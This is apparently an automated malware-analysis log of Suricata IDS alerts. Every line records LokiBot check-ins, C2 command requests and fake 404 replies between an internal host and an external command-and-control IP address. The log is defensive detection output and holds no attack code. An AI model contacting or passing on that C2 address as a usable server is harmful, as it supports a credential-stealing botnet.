Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.22:49231 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.22:49237 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.22:49231 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.22:49248 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.22:49248 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.22:49255 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.22:49252 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.41:80 -> 192.168.2.22:49213
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.41:80 -> 192.168.2.22:49248
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.22:49175 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.22:49197 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.22:49197 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.22:49197 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.22:49187 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.22:49231 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.22:49187 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.41:80 -> 192.168.2.22:49203
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.22:49231 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.22:49267 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.22:49267 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.22:49267 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.22:49267 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.22:49267 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.22:49273 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.22:49190 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.22:49226 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.22:49226 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.22:49197 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.22:49197 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.22:49273 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.22:49187 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.22:49252 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.41:80 -> 192.168.2.22:49231
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.41:80 -> 192.168.2.22:49177
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.41:80 -> 192.168.2.22:49238
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.22:49215 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.22:49215 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.22:49190 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.22:49226 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.22:49211 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.22:49175 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.22:49187 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.22:49254 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.22:49227 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.22:49273 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.22:49205 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.22:49262 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.22:49262 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.22:49215 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.22:49262 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.22:49169 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.41:80 -> 192.168.2.22:49267
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.22:49169 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.41:80 -> 192.168.2.22:49200
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.41:80 -> 192.168.2.22:49254
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.22:49173 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.22:49173 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.22:49215 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.22:49226 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.22:49226 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.41:80 -> 192.168.2.22:49226
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.22:49217 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.22:49211 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.22:49187 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.22:49175 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.22:49247 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.41:80 -> 192.168.2.22:49237
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.22:49227 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.22:49227 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.22:49234 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.22:49234 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.22:49227 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.22:49215 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.22:49234 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.22:49262 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.41:80 -> 192.168.2.22:49197
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.22:49262 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.22:49217 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.22:49211 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.22:49234 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.22:49234 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.41:80 -> 192.168.2.22:49190
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.22:49211 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.22:49247 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.22:49247 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.41:80 -> 192.168.2.22:49234
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.22:49205 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.22:49247 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.22:49247 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.22:49227 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.41:80 -> 192.168.2.22:49175
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.22:49205 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.41:80 -> 192.168.2.22:49227
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.22:49217 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.41:80 -> 192.168.2.22:49262
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.22:49211 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.22:49259 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.22:49259 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.22:49184 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.22:49259 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.22:49184 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.22:49169 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.22:49184 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.41:80 -> 192.168.2.22:49187
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.22:49217 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.22:49169 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.22:49242 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.22:49217 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.22:49242 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.41:80 -> 192.168.2.22:49247
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.22:49198 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.41:80 -> 192.168.2.22:49255
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.22:49205 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.22:49205 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.22:49228 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.22:49269 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.22:49180 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.22:49184 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.22:49242 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.22:49259 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.22:49198 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.41:80 -> 192.168.2.22:49214
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.22:49259 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.22:49198 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.41:80 -> 192.168.2.22:49173
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.41:80 -> 192.168.2.22:49217
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.22:49228 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.22:49261 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.22:49228 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.41:80 -> 192.168.2.22:49273
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.41:80 -> 192.168.2.22:49211
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.22:49180 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.22:49184 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.22:49228 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.22:49228 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.22:49269 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.41:80 -> 192.168.2.22:49259
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.41:80 -> 192.168.2.22:49235
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.22:49208 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.22:49208 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.22:49265 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.22:49208 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.22:49264 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.22:49264 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.22:49265 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.22:49264 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.22:49210 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.22:49265 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.22:49198 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.22:49169 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.22:49189 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.41:80 -> 192.168.2.22:49215
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.22:49198 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.22:49242 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.22:49242 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.22:49180 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.41:80 -> 192.168.2.22:49252
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.22:49210 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.22:49261 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.22:49210 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.22:49269 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.41:80 -> 192.168.2.22:49228
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.22:49264 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.22:49264 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.22:49219 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.22:49210 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.41:80 -> 192.168.2.22:49198
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.41:80 -> 192.168.2.22:49205
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.41:80 -> 192.168.2.22:49169
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.22:49265 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.22:49180 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.22:49210 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.22:49180 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.41:80 -> 192.168.2.22:49242
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.22:49269 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.22:49269 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.22:49263 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.22:49261 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.22:49241 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.22:49208 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.41:80 -> 192.168.2.22:49184
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.41:80 -> 192.168.2.22:49264
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.22:49208 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.22:49249 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.41:80 -> 192.168.2.22:49180
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.22:49241 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.22:49241 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.22:49219 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.41:80 -> 192.168.2.22:49210
